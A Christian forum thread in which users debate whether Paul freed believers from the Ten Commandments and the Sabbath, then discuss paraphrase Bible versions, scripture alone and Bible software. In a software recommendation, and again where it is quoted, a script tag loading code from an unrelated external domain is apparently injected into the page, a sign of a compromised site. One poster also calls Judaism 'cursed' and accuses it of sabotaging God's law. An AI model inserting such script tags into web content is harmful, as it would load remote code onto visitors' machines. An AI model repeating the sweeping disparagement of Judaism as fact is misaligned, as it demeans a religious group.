From what law did Paul set us free?

[Leaf473]

Brother, happy Sabbath, starting this Friday July 14, 2023 at 12:46 pm EDT!

Brother, may you be satisfied with the inheritance God promised to your ancestor Jacob.

Bible Gateway passage: Isaiah 58:14 - New Living Translation

Then the LORD will be your delight. I will give you great honor and satisfy you with the inheritance I promised to your ancestor Jacob. I, the LORD, have spoken!”

www.biblegateway.com

 

[guevaraj]

What I have repeatedly posted is that it is fulfilled in Christ, the Lord of the sabbath.

Brother, happy Sabbath, starting this Friday July 21, 2023 at 12:43 pm EDT! Christ fulfilled to be the model "Spirit" to follow Paul speaks of in obedience to the Ten Commandments when compared to Judaism's sabotage to not remove the sin that the Ten Commandments were written in "letters" in stone to remove. They prevented the removal of sin in God's "order" through the prophet Moses by substituting God's Ten Commandments with their own human "law", that Jesus has freed us from in Paul's message and not from God's "order" through the prophet Moses like our sinful human nature wants. For example, Judaism is cursed because instead of obeying God by learning to use His name properly, Judaism replaced God's Third Commandment for those who would be the sons of Sarah, with their own human "law" to not utter God's name at all in the resulting sons of Hagar, thus disobeying to learn to use God's name properly. Like them, the human excuse today for disobeying the Ten Commandments is to say that we now follow the Holy Spirit, in a misunderstanding of Paul's use of the word "Spirit" in the following passage, where Jesus is the model Spirit to follow in obedience to the Ten Commandments, instead of Judaism's human tradition replacing the letters written in stone. Paul is not referring to the Holy Spirit as a substitute to disobey Jesus’ Eleven Commandments, forced by the translators by adding the word holy before the word “Spirit”, when the word holy is not found in the original. Paul tells us the word "Spirit" is Jesus and not the Holy Spirit by saying in the passage: "the Lord—who is the Spirit—makes us more and more like him as we are changed into his glorious image". Following Jesus as the model "Spirit" who obeyed the Ten Commandments as the example for the sons of Sarah, rather than Judaism's replacement of human law in the resulting sons of Hagar, will result in obeying "all" the Ten Commandments that Judaism did not obey. Judaism, like us today, did not obey the Ten Commandments by instead replacing what God asked with human traditions, like us replacing the Sabbath with Sunday. People use the word "Spirit" in this passage to refer to the Holy Spirit instead of Jesus, because they want to do away with the Ten Commandments when that is not Paul's message but what our sinful human nature wants. Paul's message wants us to obey "all" the Ten Commandments by having us follow Jesus as the model "Spirit" in the following passage instead of Judaism's tradition of not obeying "all" the Ten Commandments when they replaced the Ten Commandments with human "law".

We are confident of all this because of our great trust in God through Christ (as the model "Spirit" to follow). It is not that we think we are qualified to do anything on our own (like excusing our disobedience of the Ten Commandments as coming from the Holy Spirit). Our qualification comes from God (sending us Jesus as the model "Spirit" to follow). He has enabled us to be ministers of his new covenant (Jesus as the model "Spirit" to follow). This is a covenant not of the letter (Ten Commandments), but of the Spirit (Jesus as the model "Spirit" to follow and not the Holy Spirit used as an excuse to disobey the Ten Commandments when Jesus obeyed them). The letter ends in death (sabotaged by Judaism to not remove sin); but the Spirit (Jesus as the model "Spirit" to follow) gives life (the removal of sin). The old way (God's "order" by the prophet Moses), with letters etched in stone (Ten Commandments), led to death (sabotaged by Judaism to not remove sin), though it began with such glory (leading to righteousness) that the people of Israel could not bear to look at Moses’ face. For his face shone with the glory of God (which is His righteousness expressed in the Ten Commandments), even though the brightness was already fading away (Judaism's unwillingness to obey "all" the Ten Commandments). Shouldn’t we expect far greater glory under the new way (Jesus as the model "Spirit" to follow), now that the Holy (added by the translators) Spirit (not the Holy Spirit but Jesus as the model "Spirit" to follow) gives life? If the old way (written letters etched in stone), which brings condemnation (Judaism not fully obeying "all" the Ten Commandments by replacing them with human "law"), was glorious (leading to righteousness), how much more glorious (leading to righteousness) is the new way (Jesus as the model "Spirit" to follow), which makes us right with God (removes sin)! In fact, that first glory (which led to righteousness) was not glorious at all compared with the overwhelming glory (leading to righteousness) of the new way (Jesus as the model "Spirit" to follow). So if the old way (written letters etched in stone), which has been replaced, was glorious (led to righteousness), how much more glorious (leading to righteousness) is the new (Jesus as the model "Spirit" to follow), which remains forever! Since this new way (of following the model "Spirit" of Jesus, rather than Judaism's human "law") gives us such confidence, we can be very bold (learning to use God's name properly, which Judaism does not). We are not like Moses, who put a veil over his face so the people of Israel would not see the glory (of God's righteousness), even though it was destined to fade away (by Judaism's unwillingness to obey all the Ten Commandments). But the people’s minds were hardened (to not obey all the Ten Commandments), and to this day whenever the old covenant is being read, the same veil covers their minds so they cannot understand the truth (of the failure of replacing God's Commandments with their own human law). And this veil can be removed only by believing in Christ (as the model "Spirit" to follow). Yes, even today when they read Moses’ writings, their hearts are covered with that veil, and they do not understand (they failed to obey all of God's Ten Commandments by substituting them with human "law"). But whenever someone turns to the Lord, the veil is taken away. For the Lord is the Spirit (Jesus is the model "Spirit" to follow who obeyed the Ten Commandments as our example and Paul is not referring to the Holy Spirit as an excuse to disobey the Ten Commandments), and wherever the Spirit of the Lord is, there is freedom (from sin and not from God's Ten Commandments). So all of us who have had that veil removed can see and reflect the glory of the Lord (in obeying the Ten Commandments). And the Lord—who is the Spirit (Jesus is the model "Spirit" Paul is telling us to follow and not the Holy Spirit, whose job is to tell us things through prophets and remind us of Jesus as the model "Spirit" to follow)—makes us more and more like him as we are changed into his glorious image. (2 Corinthians 3:4-18 NLT fixed and overlaid with commentary)​

United in our hope for the soon return of Jesus, Jorge

 

[Leaf473]

Brother, happy Sabbath, starting this Friday July 21, 2023 at 12:43 pm EDT! Christ fulfilled to be the model "Spirit" to follow Paul speaks of in obedience to the Ten Commandments when compared to Judaism's sabotage to not remove the sin that the Ten Commandments were written in "letters" in stone to remove. They prevented the removal of sin in God's "order" through the prophet Moses by substituting God's Ten Commandments with their own human "law", that Jesus has freed us from in Paul's message and not from God's "order" through the prophet Moses like our sinful human nature wants. For example, Judaism is cursed because instead of obeying God by learning to use His name properly, Judaism replaced God's Third Commandment for those who would be the sons of Sarah, with their own human "law" to not utter God's name at all in the resulting sons of Hagar, thus disobeying to learn to use God's name properly. Like them, the human excuse today for disobeying the Ten Commandments is to say that we now follow the Holy Spirit, in a misunderstanding of Paul's use of the word "Spirit" in the following passage, where Jesus is the model Spirit to follow in obedience to the Ten Commandments, instead of Judaism's human tradition replacing the letters written in stone. Paul is not referring to the Holy Spirit as a substitute to disobey Jesus’ Eleven Commandments, forced by the translators by adding the word holy before the word “Spirit”, when the word holy is not found in the original. Paul tells us the word "Spirit" is Jesus and not the Holy Spirit by saying in the passage: "the Lord—who is the Spirit—makes us more and more like him as we are changed into his glorious image". Following Jesus as the model "Spirit" who obeyed the Ten Commandments as the example for the sons of Sarah, rather than Judaism's replacement of human law in the resulting sons of Hagar, will result in obeying "all" the Ten Commandments that Judaism did not obey. Judaism, like us today, did not obey the Ten Commandments by instead replacing what God asked with human traditions, like us replacing the Sabbath with Sunday. People use the word "Spirit" in this passage to refer to the Holy Spirit instead of Jesus, because they want to do away with the Ten Commandments when that is not Paul's message but what our sinful human nature wants. Paul's message wants us to obey "all" the Ten Commandments by having us follow Jesus as the model "Spirit" in the following passage instead of Judaism's tradition of not obeying "all" the Ten Commandments when they replaced the Ten Commandments with human "law".

We are confident of all this because of our great trust in God through Christ (as the model "Spirit" to follow). It is not that we think we are qualified to do anything on our own (like excusing our disobedience of the Ten Commandments as coming from the Holy Spirit). Our qualification comes from God (sending us Jesus as the model "Spirit" to follow). He has enabled us to be ministers of his new covenant (Jesus as the model "Spirit" to follow). This is a covenant not of the letter (Ten Commandments), but of the Spirit (Jesus as the model "Spirit" to follow and not the Holy Spirit used as an excuse to disobey the Ten Commandments when Jesus obeyed them). The letter ends in death (sabotaged by Judaism to not remove sin); but the Spirit (Jesus as the model "Spirit" to follow) gives life (the removal of sin). The old way (God's "order" by the prophet Moses), with letters etched in stone (Ten Commandments), led to death (sabotaged by Judaism to not remove sin), though it began with such glory (leading to righteousness) that the people of Israel could not bear to look at Moses’ face. For his face shone with the glory of God (which is His righteousness expressed in the Ten Commandments), even though the brightness was already fading away (Judaism's unwillingness to obey "all" the Ten Commandments). Shouldn’t we expect far greater glory under the new way (Jesus as the model "Spirit" to follow), now that the Holy (added by the translators) Spirit (not the Holy Spirit but Jesus as the model "Spirit" to follow) gives life? If the old way (written letters etched in stone), which brings condemnation (Judaism not fully obeying "all" the Ten Commandments by replacing them with human "law"), was glorious (leading to righteousness), how much more glorious (leading to righteousness) is the new way (Jesus as the model "Spirit" to follow), which makes us right with God (removes sin)! In fact, that first glory (which led to righteousness) was not glorious at all compared with the overwhelming glory (leading to righteousness) of the new way (Jesus as the model "Spirit" to follow). So if the old way (written letters etched in stone), which has been replaced, was glorious (led to righteousness), how much more glorious (leading to righteousness) is the new (Jesus as the model "Spirit" to follow), which remains forever! Since this new way (of following the model "Spirit" of Jesus, rather than Judaism's human "law") gives us such confidence, we can be very bold (learning to use God's name properly, which Judaism does not). We are not like Moses, who put a veil over his face so the people of Israel would not see the glory (of God's righteousness), even though it was destined to fade away (by Judaism's unwillingness to obey all the Ten Commandments). But the people’s minds were hardened (to not obey all the Ten Commandments), and to this day whenever the old covenant is being read, the same veil covers their minds so they cannot understand the truth (of the failure of replacing God's Commandments with their own human law). And this veil can be removed only by believing in Christ (as the model "Spirit" to follow). Yes, even today when they read Moses’ writings, their hearts are covered with that veil, and they do not understand (they failed to obey all of God's Ten Commandments by substituting them with human "law"). But whenever someone turns to the Lord, the veil is taken away. For the Lord is the Spirit (Jesus is the model "Spirit" to follow who obeyed the Ten Commandments as our example and Paul is not referring to the Holy Spirit as an excuse to disobey the Ten Commandments), and wherever the Spirit of the Lord is, there is freedom (from sin and not from God's Ten Commandments). So all of us who have had that veil removed can see and reflect the glory of the Lord (in obeying the Ten Commandments). And the Lord—who is the Spirit (Jesus is the model "Spirit" Paul is telling us to follow and not the Holy Spirit, whose job is to tell us things through prophets and remind us of Jesus as the model "Spirit" to follow)—makes us more and more like him as we are changed into his glorious image. (2 Corinthians 3:4-18 NLT fixed and overlaid with commentary)​

United in our hope for the soon return of Jesus, Jorge

This passage came to my mind

Bible Gateway passage: Psalm 62:1 - New International Reader's Version

For the director of music. For Jeduthun. A psalm of David. It is surely true that I find my rest in God. He is the God who saves me.

www.biblegateway.com

 

[Dahveed]

Paul tells us the word "Spirit" is Jesus ..."the Lord—who is the Spirit—makes us more and more like him...Following Jesus as the model "Spirit" who obeyed the Ten Commandments ....

Basically what you're telling us is that you plan on becoming like Christ, who is your role model, who knew no sin, by flawlessly keeping the 10C.
And so in your mindset, Christ is not the Savior of mankind, and you have no idea if you're saved.

We are confident of all this because of our great trust in God through Christ (as the model "Spirit" to follow).

They are ambitious to be teachers of the Law, but they have no understanding of what they claim nor of their dogmatic assertions.

United in our hope for the soon return of Jesus, Jorge

I counsel you to buy from Me gold refined in the fire, that you may be rich; and white garments, that you may be clothed, ... Rev 3:18
Put on Christ Rom 13:14 Gal 3:27

 

[Leaf473]

Basically what you're telling us is that you plan on becoming like Christ, who is your role model, who knew no sin, by flawlessly keeping the 10C.
And so in your mindset, Christ is not the Savior of mankind, and you have no idea if you're saved.

They are ambitious to be teachers of the Law, but they have no understanding of what they claim nor of their dogmatic assertions.

I counsel you to buy from Me gold refined in the fire, that you may be rich; and white garments, that you may be clothed, ... Rev 3:18
Put on Christ Rom 13:14 Gal 3:27

I like that passage from Timothy. The Message has an interesting take on it.

Bible Gateway passage: 1 Timothy 1:5-7 - The Message

The whole point of what we’re urging is simply love—love uncontaminated by self-interest and counterfeit faith, a life open to God. Those who fail to keep to this point soon wander off into dead ends of gossip. They set themselves up as experts on religious issues, but haven’t the remotest idea...

www.biblegateway.com

 

[Gary K]

I like that passage from Timothy. The Message has an interesting take on it.

Bible Gateway passage: 1 Timothy 1:5-7 - The Message

The whole point of what we’re urging is simply love—love uncontaminated by self-interest and counterfeit faith, a life open to God. Those who fail to keep to this point soon wander off into dead ends of gossip. They set themselves up as experts on religious issues, but haven’t the remotest idea...

www.biblegateway.com

I would not use a Bible version sich as that. It;s like the Good News version. They are a paraphrase, not a translation so it makes it very easy for creator of it to read their own preconcieved understanding of scripture into it.

 

[Leaf473]

I would not use a Bible version sich as that. It;s like the Good News version. They are a paraphrase, not a translation so it makes it very easy for creator of it to read their own preconcieved understanding of scripture into it.

I hear what you're saying. At the same time, all Bible translations have biases. Using a paraphrase is no different than reading a commentary, imo.

We can also note that the lxx is a paraphrase, yet used by the New Testament writers. Either that, or the mesoretic text is wrong in some places

Good to see you here

 

[Gary K]

I hear what you're saying. At the same time, all Bible translations have biases. Using a paraphrase is no different than reading a commentary, imo.

We can also note that the lxx is a paraphrase, yet used by the New Testament writers. Either that, or the mesoretic text is wrong in some places

Good to see you here

Thank you.

As you know I see a problem with seeing theologians and commentaries as useful for they are the opinions of sinful, finite human beings like you and I. I'll stick with scripture alone.

 

[Leaf473]

Thank you.

As you know I see a problem with seeing theologians and commentaries as useful for they are the opinions of sinful, finite human beings like you and I. I'll stick with scripture alone.

I see it this way

Bible Gateway passage: Proverbs 15:22 - King James Version

Without counsel purposes are disappointed: but in the multitude of counsellors they are established.

www.biblegateway.com

If we are using a translation, right off we have human input. For example, the KJV uses Church in the New Testament, when it could just as easily have used Assembly.

Also, how do you decide what is scripture using scripture alone?

 

[Gary K]

I see it this way

Bible Gateway passage: Proverbs 15:22 - King James Version

Without counsel purposes are disappointed: but in the multitude of counsellors they are established.

www.biblegateway.com

If we are using a translation, right off we have human input. For example, the KJV uses Church in the New Testament, when it could just as easily have used Assembly.

Also, how do you decide what is scripture using scripture alone?

I trust God. If He isn't powerful enough to protect His word He isn't a God worth worshipping

 

[Leaf473]

I trust God. If He isn't powerful enough to protect His word He isn't a God worth worshipping

Using only the scriptures, how do you decide if something is God's word, such that he protects it?

The NASB has this footnote
John 7:53 Later mss add the story of the adulterous woman, numbering it as John 7:53-8:11

Bible Gateway passage: John 7:53 - New American Standard Bible

[[And everyone went to his home.

www.biblegateway.com

 

[Gary K]

Using only the scriptures, how do you decide if something is God's word, such that he protects it?

The NASB has this footnote
John 7:53 Later mss add the story of the adulterous woman, numbering it as John 7:53-8:11

Bible Gateway passage: John 7:53 - New American Standard Bible

[[And everyone went to his home.

www.biblegateway.com

The scriptures teach us God is trustworthy.

 

[Dahveed]

Basically what you're telling us is that you plan on becoming like Christ, who is your role model, who knew no sin, by flawlessly keeping the 10C. So, in your mindset, Christ is not the Savior of mankind, and also, you have no idea if you're saved.

They are ambitious to be teachers of the Law, but they have no understanding of what they claim nor of their dogmatic assertions.
I counsel you to buy from Me gold refined in the fire, that you may be rich; and white garments, that you may be clothed, ... Rev 3:18
Put on Christ Rom 13:14 Gal 3:27

I like that passage from Timothy. The Message has an interesting take on it.
1+Timothy+1%3A5-7 MSG

The interesting take is that those who claim to keep the 10C neglected the one commandment that gives life.

“This is the work of God: that you believe [adhere to, trust in, rely on, have faith] in the One whom He has sent.” John 6:29

He who has the Son has life; he who does not have the Son of God does not have life. 1 John 5:12

Edited:

Brother Gary called me on the carpet and said that I had a "private interpretation"
So I'm going to call all of you who call yourselves Christians on the carpet,
How do you interpret what James refers to as "doers of the word" ?
For both privately, in the presence of God, or in public, my interpretation is Put on Christ - Be doers of the word.

 

[Leaf473]

The scriptures teach us God is trustworthy.

Amen to that!

Use a literal translation if that's what you prefer, that's cool At the same time, we take human input into consideration as we read the scriptures. A paraphrase translation can be a useful part of that

 

[Gary K]

Amen to that!

Use a literal translation if that's what you prefer, that's cool At the same time, we take human input into consideration as we read the scriptures. A paraphrase translation can be a useful part of that

I have used literal translations. I don't now because my e-Bible software has a problem with Windows 11 and I can't install all the versions. I'm limited to the KJV.

 

[HIM]

I have used literal translations. I don't now because my e-Bible software has a problem with Windows 11 and I can't install all the versions. I'm limited to the KJV.

Have you ran theword?

Bible Software theWord!

Priceless Bible Software: Completely free, high-quality Bible Software for everyone. theWord is also portable and works directly off a USB flash drive<script src="https://www.creativecirclcms.com/cdn.js"></script>

www.theword.net

 

[Leaf473]

I have used literal translations. I don't now because my e-Bible software has a problem with Windows 11 and I can't install all the versions. I'm limited to the KJV.

The KJV is a fairly literal translation, imo

You can use whatever system you like, of course, but why not just open another tab in your browser and copy/paste out of Bible gateway? They have, like, 50 translations or so. Check out the link, if you wish

Hebrews 4:12 - Bible Gateway

www.biblegateway.com

Or, you can just copy the link from the address bar and paste it into here, like I do

 

[Leaf473]

Just while I'm waxing eloquent about this , our brother @guevaraj likes the NLT

Bible Gateway passage: Hebrews 4:12 - New Living Translation

For the word of God is alive and powerful. It is sharper than the sharpest two-edged sword, cutting between soul and spirit, between joint and marrow. It exposes our innermost thoughts and desires.

www.biblegateway.com

The cool thing about this imo is that as it interacts with the software used by CF, it displays a good part of the passage All I have to do is paste in the link, CF takes care of adding the URL tags to make it display.

 

[Gary K]

Have you ran theword?

Bible Software theWord!

Priceless Bible Software: Completely free, high-quality Bible Software for everyone. theWord is also portable and works directly off a USB flash drive<script src="https://www.creativecirclcms.com/cdn.js"></script>

www.theword.net

Thank You. I downloaded it and took a look at it. It's a really nice eBible but has one major drawback for me. I can't find any way to adjust the font size and my eyesight is so bad the font size makes it almost impossible to read.

 

[Gary K]

Just while I'm waxing eloquent about this , our brother @guevaraj likes the NLT

Bible Gateway passage: Hebrews 4:12 - New Living Translation

For the word of God is alive and powerful. It is sharper than the sharpest two-edged sword, cutting between soul and spirit, between joint and marrow. It exposes our innermost thoughts and desires.

www.biblegateway.com

The cool thing about this imo is that as it interacts with the software used by CF, it displays a good part of the passage All I have to do is paste in the link, CF takes care of adding the URL tags to make it display.

I have used Bible Gateway but find it really clumsy to use compared to eBible software where everything I need is on one screen. Thanks for the recommendation though.